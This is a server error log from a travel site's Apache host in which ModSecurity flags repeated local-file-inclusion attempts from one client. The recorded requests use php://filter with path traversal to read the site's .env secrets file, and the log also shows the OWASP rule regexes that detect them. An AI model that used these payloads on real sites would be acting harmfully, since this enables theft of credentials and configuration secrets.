/?raw=1&view=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=56oCcGAQbkHekVk3hPeJ5EfwqRQ7ECFy4DHe9BMC8iKleNmvBqpgX4Eud-udHCaQhC2dqe3wNmDgLQZMkSWzhuowDacP2tw3xLOUB6O4-WdsH6SahxFa2cUmRG7oNlcZqe9e6Cx8k1bhGb-pL8IOu6PyPa5lLjk26tICyuD-2L6v2S3BOJACtsFbpqq9MiCZXABxTmKn8F__dM08y9p3Y-VVvj2KAjSgk7v8u15v6exOX8oQTS-IImH-HgYpr1I06fpBQGai2BVXehxkhV0pIWhC&ref=K5UWNFBZDBOHM6HU7NU7OQZPL7FFYJCQMDOLGXGA45WRYR72G3TDARUBWNMDZVTHDSRRW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.560301 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.560366 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&cb=56oCcGAQbkHekVk3hPeJ5EfwqRQ7ECFy4DHe9BMC8iKleNmvBqpgX4Eud-udHCaQhC2dqe3wNmDgLQZMkSWzhuowDacP2tw3xLOUB6O4-WdsH6SahxFa2cUmRG7oNlcZqe9e6Cx8k1bhGb-pL8IOu6PyPa5lLjk26tICyuD-2L6v2S3BOJACtsFbpqq9MiCZXABxTmKn8F__dM08y9p3Y-VVvj2KAjSgk7v8u15v6exOX8oQTS-IImH-HgYpr1I06fpBQGai2BVXehxkhV0pIWhC&ref=K5UWNFBZDBOHM6HU7NU7OQZPL7FFYJCQMDOLGXGA45WRYR72G3TDARUBWNMDZVTHDSRRWKXRHN3FLLWKFDDF7GFQTNUYJRK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.560420 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&cb=56occgaqbkhekvk3hpej5efwqrq7ecfy4dhe9bmc8iklenmvbqpgx4eud-udhcaqhc2dqe3wnmdglqzmkswzhuowdacp2tw3xloub6o4-wdsh6sahxfa2cumrg7onlczqe9e6cx8k1bhgb-pl8iou6pypa5lljk26ticyud-2l6v2s3bojactsfbpqq9miczxabxtmkn8f__dm08y9p3y-vvvj2kajsgk7v8u15v6exox8oqts-iimh-hgypr1i06fpbqgai2bvxehxkhv0piwhc&ref=k5uwnfbzdbohm6hu7nu7oqzpl7ffyjcqmdolgxga45wryr72g3tdarubwnmdzvthdsrrwkxrhn3fllwkfddf7gfqtnuyjrk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.560451 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.560475 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.560570 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIgAAABQ"]
[Fri Jul 17 08:55:11.560835 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.561603 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIgAAABQ"]
[Fri Jul 17 08:55:11.561763 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.561795 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.561923 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.562088 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sIgAAABQ"]
[Fri Jul 17 08:55:11.562143 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sIgAAABQ"]
[Fri Jul 17 08:55:11.562156 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sIgAAABQ"]
[Fri Jul 17 08:55:11.562263 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PnQAAABk"]
[Fri Jul 17 08:55:11.565904 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=A2GdDkspdUKGNALvq_HkYF1DbhV4uYSLKniK4ENVILptoE7K9K8eDoNdwEak12rw1Xnx9Lh4-Dc9roF9jjUhKMqZrGkXbx8V_-I6EZJBp1TKsNCqMgHsuoMR2ILt5BPUCPlhR8lQBn0v5rbcpPIBqjfoD2UEhwm5wPLZIZiX2D6zGE8UzxGM-UYpNTuNBBOvuVMMJ69Z5Y8AQkjJaxaFj_pWpGa7U3STXiRg99nmfDHV0y5-9SGvSt5eM1cliqY4YJ5qPiuYJuQFlkBnhO0viBAB&sid=QYZ4B2LDV5HZYLEI5KEH422J6ZYTFD4Y6LQPNIJAAOG6BEKR3QAPSXSUF5VAW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.565950 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.566027 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&debug=A2GdDkspdUKGNALvq_HkYF1DbhV4uYSLKniK4ENVILptoE7K9K8eDoNdwEak12rw1Xnx9Lh4-Dc9roF9jjUhKMqZrGkXbx8V_-I6EZJBp1TKsNCqMgHsuoMR2ILt5BPUCPlhR8lQBn0v5rbcpPIBqjfoD2UEhwm5wPLZIZiX2D6zGE8UzxGM-UYpNTuNBBOvuVMMJ69Z5Y8AQkjJaxaFj_pWpGa7U3STXiRg99nmfDHV0y5-9SGvSt5eM1cliqY4YJ5qPiuYJuQFlkBnhO0viBAB&sid=QYZ4B2LDV5HZYLEI5KEH422J6ZYTFD4Y6LQPNIJAAOG6BEKR3QAPSXSUF5VAWBH4A6NKQTS3FJNFA6V7MJ2W2PTLI..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.566074 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&debug=a2gddkspdukgnalvq_hkyf1dbhv4uyslknik4envilptoe7k9k8edondweak12rw1xnx9lh4-dc9rof9jjuhkmqzrgkxbx8v_-i6ezjbp1tksncqmghsuomr2ilt5bpucplhr8lqbn0v5rbcppibqjfod2uehwm5wplzizix2d6zge8uzxgm-uypntunbbovuvmmj69z5y8aqkjjaxafj_pwpga7u3stxirg99nmfdhv0y5-9sgvst5em1cliqy4yj5qpiuyjuqflkbnho0vibab&sid=qyz4b2ldv5hzylei5keh422j6zytfd4y6lqpnijaaog6bekr3qapsxsuf5vawbh4a6nkqts3fjnfa6v7mj2w2ptli..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.566113 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.566132 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.566494 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.567512 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.567646 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.567918 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95ywAAAAw"]
[Fri Jul 17 08:55:11.578999 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=QP7Gq9HHYRV5NUanEvX_JvOOUk6oMh-DqeWuom-wYEOU9bTBS1hAFksvSYIhgDXvk6_IUFnNpF6yyAyUPCJFGVd5Wbc4eFtsZu8OK6rTihhhs2VvaVkKMRcFpP_o3vA2iEtW29QI1-vyBeJKsaP-Ke3f8tuF1FEQgHosmtRpxpcLz0zVEpTVrzKNmKLdfIDpjRh7X2R_5UXYKr9KndYDBYB4CKstvBuVtAukGHrQx4IJwg9cWzLHuwKHJ38JccPqzfSivr26MvX52cPCGJBPQg6-&ref=ZMBU6HUM7R6RD7ZPZRG7RLKGDVW7ZWODRKJAQKWPCITFXFSWM5BUEPRBPKAFPJJ3C2FXCB6K2..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.579063 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.579111 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.base64-encode/resource=../../../.env&extra=QP7Gq9HHYRV5NUanEvX_JvOOUk6oMh-DqeWuom-wYEOU9bTBS1hAFksvSYIhgDXvk6_IUFnNpF6yyAyUPCJFGVd5Wbc4eFtsZu8OK6rTihhhs2VvaVkKMRcFpP_o3vA2iEtW29QI1-vyBeJKsaP-Ke3f8tuF1FEQgHosmtRpxpcLz0zVEpTVrzKNmKLdfIDpjRh7X2R_5UXYKr9KndYDBYB4CKstvBuVtAukGHrQx4IJwg9cWzLHuwKHJ38JccPqzfSivr26MvX52cPCGJBPQg6-&ref=ZMBU6HUM7R6RD7ZPZRG7RLKGDVW7ZWODRKJAQKWPCITFXFSWM5BUEPRBPKAFPJJ3C2FXCB6K2WFERUQHDUJCJJGHDCID5L3N7WZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
